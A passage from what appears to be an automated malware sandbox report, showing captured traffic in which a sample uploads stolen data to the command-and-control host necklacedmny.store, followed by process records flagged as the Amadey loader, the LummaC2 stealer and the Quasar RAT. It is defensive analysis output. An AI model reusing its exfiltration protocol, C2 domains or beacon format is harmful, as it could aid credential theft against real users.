2024-10-29 04:03:32 UTC	1255	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:40 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lhqbtt7300mq0bmftl9glo26c3; expires=Fri, 21 Feb 2025 21:50:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VVbT0vZ%2BgXk6gnNTPN5CFgNaXcypq%2ByD%2Fu03pAM2isT6TZ1FfzBLa2ACZsTngNW8c%2BdhiW2F4%2FRF23aimF5EjXqJ9Cs8xj8JhbvCJmGqIMPRR2kk9C%2BfW9ZOB7wLd3o2jp%2BlMQw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046c0da720c17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2394&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2174&delivery_rate=1207673&cwnd=251&unsent_bytes=0&cid=a2d5f9b0e9d4430c&ts=8124&x=0"
2024-10-29 04:03:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50063	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:42 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551247 Host: necklacedmny.store
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: d0 80 dd 52 ab 38 2e 6b 7f f8 c9 de bc 3c a9 b8 03 7b fa b1 65 c1 2c 31 ba 87 0e de f4 6d 0c af 99 a6 00 7c 7e cb 17 fc c9 72 67 bd 81 29 9b 5a cc d5 f5 07 e1 b3 52 fd 4d 52 2b ef a6 9a e5 c6 be 19 90 94 66 70 5f 0a 35 14 e1 2d a1 c5 0f bd 16 9a ff d4 f6 8f 61 ac 31 32 56 35 39 08 83 2c 9f 93 99 84 f4 40 48 72 6b 4e db 35 3e 51 74 bf a1 f1 03 e3 f7 21 93 51 64 e5 bb 0e b6 50 9e 01 42 5d e1 ab 51 cb 90 2f 31 3e 21 68 6e b5 70 d5 bd 04 9a 72 2e 78 62 f9 a7 3e f3 7a 43 d3 0c ba 06 9f eb 09 dd 51 ff 81 ef 8b 3d a6 54 8c 4b 0b 0f 28 b1 f7 10 14 08 96 c2 6f 5e 9d b4 4e 14 a0 2c 4d aa 7d 4f 0a 8b ba b0 15 1d 7c 22 72 3f dd eb 4f 99 b2 b6 36 17 54 e8 0a 8e 0c ae 28 32 fa 6e db 23 c1 71 24 f9 30 ce 3f 11 72 77 00 b5 e4 66 08 0e e2 8e 49 8c 52 fc d9 1b 4a 80 76 04 Data Ascii: R8.k<{e,1m\|~rg)ZRMR+fp_5-a12V59,@HrkN5>Qt!QdPB]Q/1>!hnpr.xb>zCQ=TK(o^N,M}O\|"r?O6T(2n#q$0?rwfIRJv
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: 11 55 ab 44 f9 fa 27 b9 fd c2 f2 13 c1 1b 6d 6e 0a 01 69 65 38 70 af 84 0a b0 c2 12 a8 da 7c c3 74 5c 5a 2a f1 44 98 f3 9e a7 c2 ad 59 1a de d9 b1 75 4f d3 63 ea 28 03 92 de 5e 5c 15 25 a1 ab c7 c9 89 a8 b7 92 85 81 e8 4f c3 94 b8 e8 38 0a 6e 77 1b ea f6 2d 51 9f 50 3e 31 8f 14 19 87 08 37 9b 13 58 61 88 ef 2f e3 82 cb c2 8d 28 ff c4 39 c4 8b 00 25 e5 52 fe 85 da 8e 60 84 be e0 6c 6d 06 43 62 6b 55 df 78 46 e9 f7 68 95 f1 58 6d 85 f2 54 6f 82 0a 3e 3b 2e 02 53 ba ed d6 46 ac 67 56 b2 33 06 b3 be 15 a4 9a 2a cc 2d 0a 1e 69 89 64 b9 2f fc c6 09 1f 89 b4 b4 9b c8 a9 68 d3 8e 5b e3 34 b1 dc 0b 9a 66 f8 e6 9a c7 8d af dc 0e 0f 6d ae 1f 59 f7 35 a5 05 88 b6 c9 a5 46 dc ee 5d d5 22 7f f5 25 b6 19 76 84 cb 32 cf d5 e4 21 da 71 13 92 99 d2 3e 82 d5 a7 da b2 d0 5d Data Ascii: UD'mnie8p\|t\ZDYuOc(^\%O8nw-QP>17Xa/(9%R`lmCbkUxFhXmTo>;.SFgV3-id/h[4fmY5F]"%v2!q>]
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: 47 11 46 4f 9b 38 a2 31 4b ee 44 b9 fa cd 83 b7 04 18 3a 72 67 7f f8 7d 49 33 fe ef 9d ad 10 43 2f 3a a8 ef f9 1c ff 8f 10 42 07 98 53 47 7e 46 61 ab 00 0f ce e1 ed 30 80 77 e7 90 c7 d2 9d c9 d9 ff f7 ec f0 53 a0 eb 0c d2 82 61 e4 a6 01 bd 3b fd 2a b0 76 c7 37 b4 f3 81 f8 59 ef 0e 9d be 48 b7 62 b1 97 af d2 03 5a 2c d0 e4 7f 60 0f e1 38 09 78 8f 4b 58 a9 2a 90 3a 2f ca e8 fc f3 84 ce d8 3e 0c 3b 12 6c 8a 71 7e a7 6d 9a f0 80 87 0f 65 1a a9 93 eb 87 23 a8 ff fd f1 9b 52 38 ff 4f 4e 84 18 df cd 24 33 d8 21 10 08 92 19 bf 02 55 19 65 a5 f4 a4 1b a4 0a d4 f4 45 ea 37 01 46 ba 84 38 1a 4e 7e 1c 47 e0 44 97 88 ad fc b6 0a 3f ea d1 c7 fb 15 e7 48 6d dc d5 8c df d3 ac bc 52 a7 95 a5 98 38 92 e4 92 8e 0e ef 33 3d 58 89 66 67 e3 d7 56 1c d7 84 05 76 0b e6 17 90 f5 Data Ascii: GFO81KD:rg}I3C/:BSG~Fa0wSa;v7YHbZ,`8xKX:/>;lq~me#R8ON$3!UeE7F8N~GD?HmR83=XfgVv
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: 4c 1d d4 87 af e2 5f f9 6f 15 83 a8 ef ce 81 9c ee 2e b5 a1 f4 40 b6 5f 1a cb 6a cd e4 ec 25 72 d5 a6 df 9a 3e 1e 3f 71 9c f3 ee fc 1c 9f 14 fe 00 9e 8e e0 55 16 ce f5 6d 78 73 d8 8d 34 24 27 f1 b1 1b e2 4d 93 99 46 1f 14 ea aa 17 47 3a 2b 02 25 7f 9f 51 66 28 88 bc 02 74 3c c7 4f 3b 33 3a ac 43 c3 03 42 5e 72 4c 08 e2 78 03 25 26 b6 f8 06 19 45 0e c5 b1 84 fd 76 c6 11 c8 8f 1d 97 b7 3b 46 4c 2a 30 90 15 da b7 e7 1c cb fd d4 09 2f 31 1d b1 ed 9f cb 27 35 31 f7 e5 42 ef fc 3b 9d e4 3e 33 43 4a 5b 93 dc 4c f4 c6 ef 03 e7 3e 38 35 19 77 1e 04 2f 0f 27 79 f2 71 96 fa 60 6d ed d3 88 56 c4 35 85 60 c3 b4 2f ca fd dd 10 a2 c5 39 75 7c 50 31 f4 f2 bf b7 a0 0a 0b 9f 8b 0b 59 67 5d 02 71 a5 10 83 00 7f 0d c4 58 42 20 75 8e 51 68 93 79 41 42 d7 e8 07 94 59 fb 61 66 Data Ascii: L_o.@_j%r>?qUmxs4$'MFG:+%Qf(t<O;3:CB^rLx%&Ev;FL*0/1'51B;>3CJ[L>85w/'yq`mV5`/9u\|P1Yg]qXB uQhyABYaf
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: 66 b9 e2 1d 06 9a ac c3 05 18 27 e5 85 90 39 5f 7f e0 59 ee cf b9 47 a4 08 80 69 5b 6f a9 03 a9 6e 02 29 d4 a1 8d 26 34 3c cc 09 71 3b 9b bf ce 99 ad 4e 28 35 62 77 4b a1 5e 69 b0 da b1 13 3d b0 a2 55 0f bc 66 f8 fb 0a 09 47 00 0b ac e5 3f 04 d6 17 f8 35 f9 c1 11 44 21 05 e8 b4 2d f0 e7 64 d4 92 b4 39 31 ac 8c 0a ae 18 a8 7a e7 ed b3 32 f4 59 6d 6b 9e 3d f6 9f b7 02 47 18 38 87 9d c1 82 58 5e a0 b9 d0 c2 e4 2f fe 73 1c 87 e2 79 a1 65 f7 39 66 c8 fe ab 90 6e 8d 74 ca b4 a0 4a 54 44 6f f6 66 84 bc 2a 42 9a 59 df 7c 92 1c 31 65 2e f8 ae 42 d3 64 40 c7 a3 24 f2 10 79 cd b3 43 6f fe 43 c1 01 13 bf df 38 23 3d ac 04 50 c1 46 99 02 f8 8a b5 3a 1a 8a c5 80 ad a7 d2 3a 2a 20 97 e0 6b a7 09 7d a4 c1 ad 97 21 86 a5 dc 4e 9c 08 83 99 e2 5d b7 67 5e 8c a7 6e 46 c3 27 Data Ascii: f'9_YGi[on)&4<q;N(5bwK^i=UfG?5D!-d91z2Ymk=G8X^/sye9fntJTDofBY\|1e.Bd@$yCoC8#=PF:: k}!N]g^nF'
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: 0b fc 4d 32 0d 20 ca 3f 7e 7a 22 bc 62 3f 9a 97 b3 69 81 1a b6 27 21 42 6d 66 c5 5a d7 cf 9c 23 2a 3c 23 e7 e3 8e 6d b7 78 ac 95 27 f0 67 b4 cb 54 15 ba fc df 3e 34 23 46 c3 72 fc 57 71 5a b5 84 8c 3f 7c 7e a7 6b 01 5b 55 02 d5 85 7b 12 a8 f5 e3 84 4d e6 d1 a8 f7 e2 5a e3 e0 5b ea 89 b4 10 89 4c e5 09 84 1d 93 62 1f fe 87 2f 4f 91 45 42 b0 4f 9e 2b fb dd 1f dc 7c 2f bf 66 d6 4e 9b a7 cf 4d ab 2c c1 88 1d 86 7b 3d f9 4e 52 c4 d1 49 2d 14 ed de 56 9b d8 68 d8 6f f4 4d bd e6 78 6f 76 76 5b 09 64 ed 20 c2 4f e1 df 90 c0 5f 75 88 fd 33 48 94 82 f1 88 b7 2d 6d 87 70 6a 0a 27 2f 35 bc 33 46 75 95 15 dd 53 c8 49 d4 1c e7 b8 be 4c c2 5b dd 23 cd 1a fa 61 af 9f 93 a1 25 7a 27 c0 6d a5 2c 81 a9 ce a9 02 7f d4 de 32 d7 41 9b 16 93 3c f3 76 03 84 24 78 1b 9c b8 8c bc Data Ascii: M2 ?~z"b?i'!BmfZ#*<#mx'gT>4#FrWqZ?\|~k[U{MZ[Lb/OEBO+\|/fNM,{=NRI-VhoMxovv[d O_u3H-mpj'/53FuSIL[#a%z'm,2A<v$x
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: bd 8e e3 16 0f 43 24 50 72 e3 1c df d8 55 0f 89 a0 d7 48 1a ff 3e d1 3f 26 db 06 e5 41 9e 46 b0 c6 5b 63 f5 59 25 42 09 12 fe 85 ac 7f 71 3d a9 5a 09 8d 6d 76 6f 17 2b df 7b ce 21 bd 12 e3 1b 48 20 13 1a ca b4 28 d8 4b 37 08 03 31 da 86 78 a1 86 11 e3 10 df 0e f7 8b 0f b1 97 ea 0c e4 f1 c5 a8 2b e9 84 bb 87 cd 5a bc 2f 3d 20 64 3a f9 b1 7f d3 2d b3 6b 80 5f 14 55 fb df 93 f1 e2 e0 90 e4 a3 dd 7e 83 c2 c5 c0 dd f1 ad 22 98 95 43 4c 90 f2 03 38 be e8 53 5f d4 69 a7 8f 93 be d2 9c 35 45 e9 4b 8d d1 4d 48 d4 40 5a 31 28 1c e2 43 04 28 42 ad 3d fd 16 e1 86 d6 ab 2d 96 52 e7 74 f1 ed 11 b4 00 ef 42 09 f0 14 26 be bb 20 4c ca 7d 84 5d 0c 5a eb 3f 12 63 e8 0f 76 a6 44 fa 9e 37 61 14 be 4b 5d b2 da 39 28 5f 74 b8 01 41 7a 82 86 a5 10 62 32 6f 4f 68 fd 94 f2 38 af Data Ascii: C$PrUH>?&AF[cY%Bq=Zmvo+{!H (K71x+Z/= d:-k_U~"CL8S_i5EKMH@Z1(C(B=-RtB& L}]Z?cvD7aK]9(_tAzb2oOh8
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: dc e4 a8 4c fb 73 8e 86 0a 1d b7 28 c3 2f b1 ca f3 dd fd 30 af ef d9 3e ab 0b c8 60 25 2a 4c 7b 90 1f 44 33 55 ee d4 d2 82 99 8f 70 f8 49 95 76 fb 85 6a 54 59 3d 6b 31 98 9f 87 c4 43 48 f6 1e 05 61 86 b5 7e ee 0b a2 1f ea b7 ca d0 0f ef e1 4c 8a 38 9e da 69 ed 2d 70 91 23 9b 8d 27 e2 15 06 58 63 41 05 5e 66 31 71 d1 b7 2a ac bb 54 07 5b e1 df 2b e2 fb 62 37 c4 6e 76 b3 54 79 83 2a d5 a2 bf 37 99 71 9b f3 1f 5a 8f 0d 3f 74 8f 0a 71 22 d4 ef ef 1f 51 5a 65 2a 87 27 84 a8 85 0c 95 45 21 e8 bb d3 e3 c3 40 59 18 df 0b 78 4d 7a 8e 9f f6 60 79 fd d7 30 6c fe db bb bc 0b e0 26 52 7f 1e 17 02 c7 de db 9b 11 9f 17 23 dd 9b 3e 54 18 fe ae 89 17 28 f8 96 cd 98 38 5c 30 ca 0d 9f 3c a0 47 9d 1c f3 38 fe a4 96 0c f4 c4 a6 01 c2 fd 52 41 19 54 50 51 8d a5 47 21 0b a0 85 Data Ascii: Ls(/0>`%L{D3UpIvjTY=k1CHa~L8i-p#'XcA^f1qT[+b7nvTy7qZ?tq"QZe'E!@YxMz`y0l&R#>T(8\0<G8RATPQG!
2024-10-29 04:03:42 UTC	15331	OUT	Data Raw: a7 a5 58 3f 2e 27 ca 47 82 d0 29 3c 8a 51 a7 30 2e 84 c0 4b b0 c5 f5 25 88 12 cc 27 c7 d2 f0 29 3e 2e 0e e2 b2 57 9b 0a 33 f4 e2 43 f8 0f 71 31 28 59 48 7d 41 ac 48 d6 38 62 2e 85 97 50 f9 69 12 ff a6 45 b2 de 28 88 d0 2a 0d ef 7d b8 e6 9a 60 2a 05 7a 4d 2a 50 1a 21 0e b2 11 84 de 9b 7b 58 c9 ad 3f 3e a5 5a 18 1f 58 9f 7a 94 84 d7 10 6e 7f 87 07 c6 49 9b e7 27 f8 ef 93 3f f2 6c 40 f5 81 16 81 f7 85 3a a1 de f3 8a 97 be c6 45 d2 6d 99 0b 11 ee 03 13 a6 7a 9f 83 69 9a e8 1a 23 e3 2e 5d 10 3a ff 73 3a c3 68 20 ea 93 36 c7 75 bc 65 dd a6 65 b3 83 6f 34 a6 55 10 e1 d3 43 fa 81 0b bc 7f cd f8 f5 16 a2 b1 09 fd b1 84 cd a2 ca 89 7a f7 81 64 de 8c 38 eb 57 4f 72 e5 9b c1 cd e7 95 eb 03 36 e5 b4 9b ac 5f 73 0a 05 b4 45 56 10 f7 9c 28 44 5b 1c 22 04 90 32 c3 3e 54 Data Ascii: X?.'G)<Q0.K%')>.W3Cq1(YH}AH8b.PiE(}`zM*P!{X?>ZXznI'?l@:Emzi#.]:s:h 6ueeo4UCzd8WOr6_sEV(D["2>T
2024-10-29 04:03:49 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9pauvgkkmnl1got0dl14dol8m3; expires=Fri, 21 Feb 2025 21:50:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CodNIa6Xj2JPDmNaeDuHdroAAy0X6J8F39mCWT69ePlxlgY%2BuqO5B3UnOrcY82N3cy7sxHm6ajlwNKoQPtyXtAuwX8kPZzkFLkndcT%2BrValVhaQXZdI6OiBsMsHStU2ICOG%2FvzQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046fcb884a918-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1399&sent=202&recv=585&lost=0&retrans=0&sent_bytes=2846&recv_bytes=553730&delivery_rate=2104651&cwnd=177&unsent_bytes=0&cid=dd0e553a79ec8842&ts=7910&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50073	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:50 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 04:03:50 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=10D2EC9223E490A1DA8ADD780D9D7B6B
2024-10-29 04:03:51 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ohvan23bml81ie5gh0skl39co7; expires=Fri, 21 Feb 2025 21:50:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ZZrGHDhdXar2JhVAXmaOtrr4JYPnWV2WLYg1vWQfnBgeZvgram936Y2t4DIgejrsFcO4b0pef9s%2B6Jar5r%2F%2F3bfImi4w79c%2FrWTPhJkkk42Xx%2FQHxVPW1VpMNtMnmcRRpgsD1g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da047342b253594-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1195&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2421404&cwnd=251&unsent_bytes=0&cid=c20b5a32619e1cb1&ts=521&x=0"
2024-10-29 04:03:51 UTC	130	IN	Data Raw: 37 63 0d 0a 42 75 38 32 33 70 49 4f 34 59 4e 6e 50 70 67 34 6e 54 2f 72 79 59 36 6b 6e 6c 53 74 75 6d 74 77 44 67 45 6e 37 50 73 57 6a 52 46 64 6c 42 53 72 73 44 54 44 36 78 4e 4b 36 41 4c 42 45 4c 66 6d 76 35 79 72 65 70 2b 4c 58 6c 34 2f 4d 42 54 43 79 69 44 52 50 6d 6d 4a 55 49 4b 39 61 6f 54 6c 53 56 76 67 58 62 38 54 79 61 2f 36 68 71 52 6b 67 5a 67 4f 55 6a 51 78 57 72 45 3d 0d 0a Data Ascii: 7cBu823pIO4YNnPpg4nT/ryY6knlStumtwDgEn7PsWjRFdlBSrsDTD6xNK6ALBELfmv5yrep+LXl4/MBTCyiDRPmmJUIK9aoTlSVvgXb8Tya/6hqRkgZgOUjQxWrE=
2024-10-29 04:03:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	00:02:03
Start date:	29/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x160000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2072054860.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2123821458.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:02:09
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x4d0000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2136484319.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.4519834406.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:02:09
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x4d0000
File size:	1'909'248 bytes
MD5 hash:	B4C91D3735C11A3932389CDDE5058260
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2140756927.0000000004EB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2180937892.00000000004D1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:02:16
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe"
Imagebase:	0x420000
File size:	334'848 bytes
MD5 hash:	FBA8F56206955304B2A6207D9F5E8032
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:02:24
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe"
Imagebase:	0xd90000
File size:	2'170'880 bytes
MD5 hash:	CB2BA55FF3D892A5300C0E6A246C670D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2296941343.0000000006080000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.2298160966.00000000068C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.2278148881.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.2278148881.000000000328C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.2283771462.00000000047C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 65%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:02:25
Start date:	29/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x120000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.4520183738.0000000000820000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.4532503032.0000000002BCA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.4532503032.0000000002941000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000007.00000002.4520183738.0000000000502000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:02:31
Start date:	29/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001118001\98a31794c6.exe"
Imagebase:	0x7b0000
File size:	2'177'024 bytes
